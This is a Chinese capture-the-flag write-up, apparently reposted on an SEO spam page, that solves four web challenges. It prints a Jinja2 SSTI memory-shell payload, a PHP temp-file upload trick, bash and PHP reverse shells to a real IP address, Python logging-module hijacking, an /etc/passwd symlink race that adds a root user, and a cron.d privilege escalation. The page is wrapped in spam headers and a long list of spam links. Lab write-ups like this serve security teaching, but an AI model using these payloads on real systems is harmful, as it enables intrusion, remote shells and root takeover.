化工网站模板免费下载,免费网站建设seo,阿里巴巴网站建设哪家好,网站空间会过期吗EncirclingGame
题目描述#xff1a;A simple game, enjoy it and get the flag when you complete it.
开题#xff0c;前端小游戏#xff0c;红点出不去就行 直接玩通关了 看看如何不玩也能拿到flag#xff0c;flag存储在后端php文件内#xff0c;前端找不到。
看一下…EncirclingGame
题目描述A simple game, enjoy it and get the flag when you complete it.
开题前端小游戏红点出不去就行 直接玩通关了 看看如何不玩也能拿到flagflag存储在后端php文件内前端找不到。
看一下游戏的请求包里面记录了红点的最后位置和防火墙黑点的位置。 那么我们伪造下防火墙绕满周围一圈但是红点在最中间。
路由/verifyVictory.php方法POST
{gameState:{virusPosition:{x:5,y:5},firewalls:[{x: 0, y: 0}, {x: 1, y: 0}, {x: 2, y: 0}, {x: 3, y: 0}, {x: 4, y: 0},{x: 5, y: 0}, {x: 6, y: 0}, {x: 7, y: 0}, {x: 8, y: 0}, {x: 9, y: 0}, {x: 10, y: 0}, {x: 0, y: 10}, {x: 1, y: 10}, {x: 2, y: 10}, {x: 3, y: 10}, {x: 4, y: 10}, {x: 5, y: 10}, {x: 6, y: 10}, {x: 7, y: 10}, {x: 8, y: 10}, {x: 9, y: 10}, {x: 10, y: 10}, {x: 0, y: 1}, {x: 0, y: 2}, {x: 0, y: 3}, {x: 0, y: 4}, {x: 0, y: 5}, {x: 0, y: 6}, {x: 0, y: 7}, {x: 0, y: 8}, {x: 0, y: 9}, {x: 10, y: 1}, {x: 10, y: 2}, {x: 10, y: 3}, {x: 10, y: 4}, {x: 10, y: 5}, {x: 10, y: 6}, {x: 10, y: 7}, {x: 10, y: 8}, {x: 10, y: 9}]},token:game-lab-token}GoldenHornKing
题目描述举一反三。
开题直接给了源码 import os # 导入操作系统相关的模块
import jinja2 # 导入 Jinja2 模板引擎模块
import functools # 导入工具函数模块提供高阶函数
import uvicorn # 导入 Uvicorn用于运行 ASGI 应用
from fastapi import FastAPI # 从 FastAPI 库中导入 FastAPI 类用于创建应用
from fastapi.templating import Jinja2Templates # 从 FastAPI 导入 Jinja2Templates用于模板渲染
from anyio import fail_after, sleep # 从 anyio 库中导入 fail_after 用于设置超时以及 sleep 用于异步睡眠# 指定所使用的库的版本
# jinja23.1.2
# uvicorn0.30.5
# fastapi0.112.0def timeout_after(timeout: int 1): # 定义一个超时装饰器默认超时时间为1秒def decorator(func): # 接收一个函数作为参数functools.wraps(func) # 保留被装饰函数的元信息async def wrapper(*args, **kwargs): # 定义一个异步包装函数with fail_after(timeout): # 在指定的超时时间内执行被装饰的函数return await func(*args, **kwargs) # 等待并返回被装饰函数的执行结果return wrapper # 返回包装函数return decorator # 返回装饰器函数app FastAPI() # 创建一个 FastAPI 应用实例
access False # 定义一个全局变量用于控制访问权限_base_path os.path.dirname(os.path.abspath(__file__)) # 获取当前文件的绝对路径并提取其目录路径
t Jinja2Templates(directory_base_path) # 创建一个 Jinja2Templates 实例指定模板文件的目录app.get(/) # 定义一个处理根路径的 GET 请求的路由
timeout_after(1) # 使用超时装饰器设置超时时间为1秒
async def index(): # 定义异步处理函数return open(__file__, r).read() # 打开当前文件并读取其内容作为响应返回app.get(/calc) # 定义一个处理 /calc 路径的 GET 请求的路由
timeout_after(1) # 使用超时装饰器设置超时时间为1秒
async def ssti(calc_req: str): # 定义异步处理函数接收一个字符串参数 calc_reqglobal access # 声明使用全局变量 accessif (any(char.isdigit() for char in calc_req)) or (%\ in calc_req) or not calc_req.isascii() or access:# 检查 calc_req 中是否包含数字字符或者包含字符 %或者是否全为 ASCII 字符或者 access 为 Truereturn bad char # 如果满足上述任意条件返回 bad charelse:jinja2.Environment(loaderjinja2.BaseLoader()).from_string(f{{{{ {calc_req} }}}}).render({app: app})# 使用 Jinja2 模板引擎渲染 calc_req 表达式传递 app 对象作为上下文access True # 设置 access 为 True限制进一步访问return fight # 返回 fightif __name__ __main__: # 判断是否为主程序入口uvicorn.run(app, host0.0.0.0, port8000) # 使用 Uvicorn 运行应用监听所有网络接口的8000端口
是一个jinja2的SSTI限制是不能包含数字字符或者包含字符 %或者是全为 ASCII 字符或者 access 为 True
同时只要一次access 为 True后便无法再次输入得重启环境好像有点似曾相识NSS round20我也这样子出题的
仓库里翻一个内存马出来
#直接访问/shell路由
app.add_url_rule(/flag,lambda:__import__(os).popen(cat /flag).read())转为SSTIpayload应该如下由于是FastAPIadd_url_rule换成add_api_route。同时绕过了题目限制
{{config.__class__.__init__.__globals__[__builtins__].eval(__import__(sys).modules[__main__].__dict__[app].add_api_route(/flag, lambda:__import__(os).popen(cat /flag).read()))}}payload
/calc?calc_reqconfig.__class__.__init__.__globals__[__builtins__].eval(__import__(sys).modules[__main__].__dict__[app].add_api_route(/flag,lambda:__import__(os).popen(cat /flag).read()))访问flag路由读取flag admin_Test
题目描述某系统有一个后台管理系统里面的系统可以帮助管理员更好的管理系统并且防护来自于黑客的攻击但仍存在漏洞请尝试读取到系统当中的flag文件。
开题是一个登录框没有注册选项 扫一下敏感目录
/admin.html
/upload.php/admin.html路由具备一个文件上传功能和一个命令输入框 上传时一直显示Invalid char经过几次发包尝试应该是对上传的命令字符串做了限制大概率是单个字母的过滤。
单个字母跑一下题目waf
只允许t、/、.、 同时文件部分一律无法上传。
看到白名单字符大概有头绪了CTFSHOW永远的神
在PHP中强制上传文件时文件会被存在临时文件/tmp/phpxxxxxx中
这个文件最后六位xxxxxx有大小写字母、数字组成是生命周期只在PHP代码运行时。
故我们要匹配/tmp/phpxxxxxx的话可以用通配符/???/?????????也可以使用/t*/*
文件上传时输入的命令会被执行能调用到上传的文件内容是命令就行
payload
------WebKitFormBoundarynjB2WAcSH6J6Hmiq
Content-Disposition: form-data; namefile; filenamemyshell.php
Content-Type: application/octet-stream【要执行的命令】
------WebKitFormBoundarynjB2WAcSH6J6Hmiq
Content-Disposition: form-data; namecmd. /t*/*
------WebKitFormBoundarynjB2WAcSH6J6Hmiq--flag没权限读需要提权 find提权即可
find / -user root -perm -4000 -print 2/dev/null
find /tmp -exec cat /flag \;php_online
题目描述can you break this sandbox?
附件给了源码
from flask import Flask, request, session, redirect, url_for, render_template
import os
import secretsapp Flask(__name__) # 创建一个 Flask 应用实例
app.secret_key secrets.token_hex(16) # 为 Flask 应用设置一个随机生成的秘密密钥用于会话管理
working_id [] # 定义一个空列表用于跟踪当前正在处理的用户IDapp.route(/, methods[GET, POST]) # 定义根路由支持 GET 和 POST 请求
def index(): # 定义处理该路由的函数if request.method POST: # 如果请求方法是 POSTid request.form[id] # 获取表单中提交的 idif not id.isalnum() or len(id) ! 8: # 检查 id 是否为字母数字组合且长度为8return 无效的ID # 如果 id 不符合条件返回“无效的ID”消息session[id] id # 将 id 存储在用户的会话中if not os.path.exists(f/sandbox/{id}): # 如果沙箱目录中不存在该 id 的文件夹os.popen(fmkdir /sandbox/{id} chown www-data /sandbox/{id} chmod aw /sandbox/{id}).read()# 创建该文件夹并设置权限为 www-data 用户所有且所有用户都有写权限return redirect(url_for(sandbox)) # 重定向到 /sandbox 路由return render_template(submit_id.html) # 如果请求方法是 GET渲染 submit_id.html 模板app.route(/sandbox, methods[GET, POST]) # 定义 /sandbox 路由支持 GET 和 POST 请求
def sandbox(): # 定义处理该路由的函数if request.method GET: # 如果请求方法是 GETif id not in session: # 如果会话中没有 idreturn redirect(url_for(index)) # 重定向到根路由else:return render_template(submit_code.html) # 渲染 submit_code.html 模板if request.method POST: # 如果请求方法是 POSTif id not in session: # 如果会话中没有 idreturn no id # 返回 “no id” 消息user_id session[id] # 从会话中获取用户的 idif user_id in working_id: # 检查用户 id 是否已经在运行任务return task is still running # 返回“任务仍在运行”消息else:working_id.append(user_id) # 将用户 id 添加到正在运行的任务列表中code request.form.get(code) # 获取提交的代码os.popen(fcd /sandbox/{user_id} rm *).read() # 删除用户沙箱目录中的所有文件os.popen(fsudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py cd /sandbox/{user_id} sudo -u www-data python3 init.py).read()# 将 init.py 文件复制到用户的沙箱目录中并以 www-data 用户执行os.popen(frm -rf /sandbox/{user_id}/phpcode).read() # 删除沙箱目录中的 phpcode 文件php_file open(f/sandbox/{user_id}/phpcode, w) # 创建一个新的 phpcode 文件php_file.write(code) # 将提交的代码写入该文件php_file.close() # 关闭文件result os.popen(fcd /sandbox/{user_id} sudo -u nobody php phpcode).read() # 以 nobody 用户执行该 PHP 代码并获取结果os.popen(fcd /sandbox/{user_id} rm *).read() # 执行后删除所有文件working_id.remove(user_id) # 从运行中的任务列表中移除该用户 idreturn result # 返回执行结果if __name__ __main__: # 如果当前模块是主程序app.run(debugFalse, host0.0.0.0, port80) # 启动 Flask 应用关闭调试模式在所有网络接口上监听使用80端口
开题需要先输入一个八位的有数字和字母组成的ID这里采用Jay17aaa 之后可以执行任意php代码无法直接读取flag无法出网
total 68
drwxr-xr-x 1 root root 4096 Aug 17 03:22 .
drwxr-xr-x 1 root root 4096 Aug 17 03:22 ..
drwxr-xr-x 1 root root 4096 Aug 14 09:10 app
lrwxrwxrwx 1 root root 7 Oct 6 2021 bin - usr/bin
drwxr-xr-x 2 root root 4096 Apr 15 2020 boot
drwxr-xr-x 5 root root 380 Aug 17 03:22 dev
drwxr-xr-x 1 root root 4096 Aug 14 09:09 etc
-rwx------ 1 root root 42 Aug 17 03:22 flag
drwxr-xr-x 2 root root 4096 Apr 15 2020 home
lrwxrwxrwx 1 root root 7 Oct 6 2021 lib - usr/lib
lrwxrwxrwx 1 root root 9 Oct 6 2021 lib32 - usr/lib32
lrwxrwxrwx 1 root root 9 Oct 6 2021 lib64 - usr/lib64
lrwxrwxrwx 1 root root 10 Oct 6 2021 libx32 - usr/libx32
drwxr-xr-x 2 root root 4096 Oct 6 2021 media
drwxr-xr-x 2 root root 4096 Oct 6 2021 mnt
drwxr-xr-x 2 root root 4096 Oct 6 2021 opt
dr-xr-xr-x 187 root root 0 Aug 17 03:22 proc
drwx------ 2 root root 4096 Oct 6 2021 root
drwxr-xr-x 1 root root 4096 Aug 17 03:22 run
drwxr-xr-x 1 www-data root 4096 Aug 17 03:28 sandbox
lrwxrwxrwx 1 root root 8 Oct 6 2021 sbin - usr/sbin
drwxr-xr-x 2 root root 4096 Oct 6 2021 srv
dr-xr-xr-x 13 root root 0 Aug 17 03:22 sys
drwxrwxrwt 1 root root 4096 Aug 17 03:39 tmp
drwxr-xr-x 1 root root 4096 Oct 6 2021 usr
drwxr-xr-x 1 root root 4096 Oct 6 2021 varimport logging
logger.info(Code execution start)同时目前用户的权限极低 信息搜集差不多这样子了开始做题。我们三步走每一步标题加粗高亮
第一步反弹shell
起一个test1111用户
不能直接弹
?php
system(bash -i /dev/tcp/124.71.147.99/1717 01);以下两种方式都可以
?php
system(bash -c bash -i /dev/tcp/124.71.147.99/1717 01);?php
system(php -r \$sockfsockopen(124.71.147.99,1717);exec(sh 3 3 23);\);?由于源码sudo -u nobody php phpcode来起php服务用php反弹shell用户只能是nobody
第二步通过python拿下www-data权限
方法一
在反弹shell时候由于/sandbox/{user_id}有权限可以直接写python文件
?php
system(rm init.py;mkdir init.py;chmod 777 init.py;ls init.py/);
file_put_contents(init.py/__main__.py,import os\nos.system(bash -c \bash -i /dev/tcp/124.71.147.99/1717 01\));方法二
init.py源码在上文 开头import logging导入了logging库但是同目录下具有logging.py的话会优先应用目录下logging.py文件如果同目录下具备logging文件夹的话会优先应用logging文件夹下的__init__.py文件。
方法二-①
条件竞争
在nobody的shell下执行命令
echo __import__(os).popen(bash -c \bash -i /dev/tcp/124.71.147.99/1717 01\) /tmp/logging.py
echo while true; do /tmp/exp.sh
echo cp /tmp/logging.py /sandbox/test2222/logging.py /tmp/exp.sh
echo done /tmp/exp.sh
chmod x /tmp/exp.sh
sh /tmp/exp.sh源码sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py cd /sandbox/{user_id} sudo -u www-data python3 init.py
创建一个test2222用户随便执行一点代码一直在运行的文件写入以便触发题目源码中的sudo -u www-data python3 init.py语句
运行恶意/sandbox/test2222/logging.py后反弹shell发现成功变为www-data权限 方法二-②
直接创建一个logging/__init__.py劫持
先创建一个test3333用户
在nobody的shell下执行命令这个shell端口1717
mkdir /sandbox/test3333/logging/
echo import os /sandbox/test3333/logging/__init__.py
echo os.system(bash -c \bash -i /dev/tcp/124.71.147.99/1718 01\) /sandbox/test3333/logging/__init__.py在test3333用户任意执行代码同时开启监听端口1718 第三步提权root读flag
有了www用户权限后我们可以通过两种方式提权读flag。
方法一条件竞争修改文件权限passwd提权读取flag
Linux sudo 提权之软链接攻击 - sparkchans - 博客园 (cnblogs.com)
注意源码有一句注意python的权限是root
mkdir /sandbox/{id} chown www-data /sandbox/{id} chmod aw /sandbox/{id}本意是创建目录并且修改权限。同时mkdir和chmod两个命令不是同时执行的
在mkdir和chmod两个命令之间如果执行了以下命令
ln -s /etc/passwd /sandbox/test4444
rm -rf /sandbox/test4444那么chmod aw /sandbox/test4444这条命令修改的权限就不再是/sandbox/test4444而是/etc/passwd
由于mkdir和chmod两个命令执行时间间隔太短我们需要用条件竞争来达到上述的设想操作如下
www-data的shell执行命令while true死循环一直执行
while true; do ln -s /etc/passwd /sandbox/test4444; rm -rf /etc/passwd; doneyakit发包无用参数爆破实现循环发包创建test4444用户
POST:
idtest444417{{payload(pass1,top1000,pass2)}}稍等一会就能发现/etc/passwd的权限变为可以修改了。
那么接下来就是/etc/passwd提权唯一条件是/etc/passwd文件可写 生成带有salt的密码advwtv/9yU5yQ
#利用openssl生成加密的密码, 语法openssl passwd-1-salt[salt value]password
openssl passwd -1 -salt user3 pass123#mkpasswd类似于openssl passwd它将生成指定密码字符串的哈希值。
mkpasswd -m SHA-512 pass#利用python中的crypt库生成
python -c import crypt; print crypt.crypt(pass, $6$salt)#利用Perl和crypt来使用salt值为我们的密码生成哈希值
perl -le print crypt(pass123, abc)#php语言
php -r print(crypt(aarti,123) . );perl -le print crypt(password123,addedsalt)然后执行下面这条命令成功将Jay17用户的信息加入 /etc/passwd 文件
echo Jay17:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash /etc/passwd以用户名Jay17 密码 password123 登录主机登录成功后是 root 权限。
ssh Jay17124.71.147.99有了root权限后就可以读取flag了。
方法二定时任务提权root读取flag
首先介绍下定时任务
可以使用 crontab -e 命令来编辑用户的定时任务列表。
crontab -e这将打开用户的 crontab 文件你可以在其中添加定时任务。定时任务的格式如下
* * * * * 【command_to_execute】每个字段的含义依次为
分钟0-59 小时0-23 日1-31 月1-12 星期几0-7, 0和7表示星期日例如想每天凌晨 3:30 运行一个脚本 /path/to/script.sh可以在 crontab 中添加以下行
30 3 * * * /path/to/script.sh也可以在 /etc/cron.d/ 目录下创建一个文件并在其中定义定时任务。这种方式适用于系统级的定时任务文件中的格式和 crontab 文件类似但每行的格式为
minute hour day month day_of_week user command例如
30 3 * * * root /path/to/script.sh继续做题。可以通过命令crontab -l查看当前用户的定时任务。
但是题目shell是www-data看不到root用户的定时任务以下为VPS测试结果 执行命令ps -ef列出所有正在运行的进程并以较为详细的格式显示这些进程的信息。大头哥通过CMD系统启动命令行来判断是否有定时任务/usr/sbin/cron 常见定时任务存放目录
/etc/cron.d
/etc/crontab
/var/spool/cron/crontabs
/etc/cron.hourly
/etc/cron.daily
/etc/cron.weekly
/etc/cron.monthly本题是/etc/cron.d创建用户test5555创建软连接ln -s /etc/cron.d /sandbox/test5555
前端phpcode写入内容
* * * * * root cat /flag /tmp/flag
# ?php sleep(1000);?* * * * * root cat /flag/tmp/111
#?php while(1){echo 1;};?二选一都可以两者的php代码都是避免rm *将/sandbox/test5555/phpcode文件删除太快而定时任务未正常运行。
前者是sleepphp执行就得花一秒后者是死循环执行。
同时两者由于软连接到定时任务所以当作定时任务执行时#注释了php代码不影响定时任务同时在作为php执行时由于文件头?php的作用前面的定时任务不会被认为是php代码。 文章转载自: http://www.morning.kyflr.cn.gov.cn.kyflr.cn http://www.morning.tqxtx.cn.gov.cn.tqxtx.cn http://www.morning.bybhj.cn.gov.cn.bybhj.cn http://www.morning.lsfbb.cn.gov.cn.lsfbb.cn http://www.morning.kgsws.cn.gov.cn.kgsws.cn http://www.morning.hffpy.cn.gov.cn.hffpy.cn http://www.morning.dgsr.cn.gov.cn.dgsr.cn http://www.morning.srndk.cn.gov.cn.srndk.cn http://www.morning.jwcmq.cn.gov.cn.jwcmq.cn http://www.morning.ltrz.cn.gov.cn.ltrz.cn http://www.morning.hsdhr.cn.gov.cn.hsdhr.cn http://www.morning.zhnpj.cn.gov.cn.zhnpj.cn http://www.morning.xkqjw.cn.gov.cn.xkqjw.cn http://www.morning.xxwfq.cn.gov.cn.xxwfq.cn http://www.morning.xpmwt.cn.gov.cn.xpmwt.cn http://www.morning.lkbyq.cn.gov.cn.lkbyq.cn http://www.morning.lpmdy.cn.gov.cn.lpmdy.cn http://www.morning.ggjlm.cn.gov.cn.ggjlm.cn http://www.morning.srrrz.cn.gov.cn.srrrz.cn http://www.morning.byywt.cn.gov.cn.byywt.cn http://www.morning.ktpzb.cn.gov.cn.ktpzb.cn http://www.morning.xzjsb.cn.gov.cn.xzjsb.cn http://www.morning.rjnx.cn.gov.cn.rjnx.cn http://www.morning.mhybs.cn.gov.cn.mhybs.cn http://www.morning.yhljc.cn.gov.cn.yhljc.cn http://www.morning.qdscb.cn.gov.cn.qdscb.cn http://www.morning.rmfh.cn.gov.cn.rmfh.cn http://www.morning.tjndb.cn.gov.cn.tjndb.cn http://www.morning.qgjwx.cn.gov.cn.qgjwx.cn http://www.morning.cctgww.cn.gov.cn.cctgww.cn http://www.morning.dbjyb.cn.gov.cn.dbjyb.cn http://www.morning.sjwzz.cn.gov.cn.sjwzz.cn http://www.morning.ykrkb.cn.gov.cn.ykrkb.cn http://www.morning.thbnt.cn.gov.cn.thbnt.cn http://www.morning.pprxs.cn.gov.cn.pprxs.cn http://www.morning.nggry.cn.gov.cn.nggry.cn http://www.morning.yllym.cn.gov.cn.yllym.cn http://www.morning.mygbt.cn.gov.cn.mygbt.cn http://www.morning.lcplz.cn.gov.cn.lcplz.cn http://www.morning.srbl.cn.gov.cn.srbl.cn http://www.morning.zlmbc.cn.gov.cn.zlmbc.cn http://www.morning.rwbh.cn.gov.cn.rwbh.cn http://www.morning.wjfzp.cn.gov.cn.wjfzp.cn http://www.morning.cttgj.cn.gov.cn.cttgj.cn http://www.morning.rntgy.cn.gov.cn.rntgy.cn http://www.morning.jprrh.cn.gov.cn.jprrh.cn http://www.morning.trtdg.cn.gov.cn.trtdg.cn http://www.morning.bmbnc.cn.gov.cn.bmbnc.cn http://www.morning.linzhigongmao.cn.gov.cn.linzhigongmao.cn http://www.morning.kmcby.cn.gov.cn.kmcby.cn http://www.morning.dkcpt.cn.gov.cn.dkcpt.cn http://www.morning.jprrh.cn.gov.cn.jprrh.cn http://www.morning.pwsnr.cn.gov.cn.pwsnr.cn http://www.morning.ypwlb.cn.gov.cn.ypwlb.cn http://www.morning.krnzm.cn.gov.cn.krnzm.cn http://www.morning.tfznk.cn.gov.cn.tfznk.cn http://www.morning.dqkrf.cn.gov.cn.dqkrf.cn http://www.morning.wwnb.cn.gov.cn.wwnb.cn http://www.morning.lsyk.cn.gov.cn.lsyk.cn http://www.morning.sh-wj.com.cn.gov.cn.sh-wj.com.cn http://www.morning.mdplm.cn.gov.cn.mdplm.cn http://www.morning.kllzy.com.gov.cn.kllzy.com http://www.morning.hwbf.cn.gov.cn.hwbf.cn http://www.morning.jlrym.cn.gov.cn.jlrym.cn http://www.morning.cgthq.cn.gov.cn.cgthq.cn http://www.morning.mbqyl.cn.gov.cn.mbqyl.cn http://www.morning.trrrm.cn.gov.cn.trrrm.cn http://www.morning.dtgjt.cn.gov.cn.dtgjt.cn http://www.morning.dfbeer.com.gov.cn.dfbeer.com http://www.morning.rcfwr.cn.gov.cn.rcfwr.cn http://www.morning.0small.cn.gov.cn.0small.cn http://www.morning.fxygn.cn.gov.cn.fxygn.cn http://www.morning.nhpgm.cn.gov.cn.nhpgm.cn http://www.morning.lpyjq.cn.gov.cn.lpyjq.cn http://www.morning.dbhnx.cn.gov.cn.dbhnx.cn http://www.morning.jfymz.cn.gov.cn.jfymz.cn http://www.morning.lnfkd.cn.gov.cn.lnfkd.cn http://www.morning.rfmzc.cn.gov.cn.rfmzc.cn http://www.morning.nlrxh.cn.gov.cn.nlrxh.cn http://www.morning.bfysg.cn.gov.cn.bfysg.cn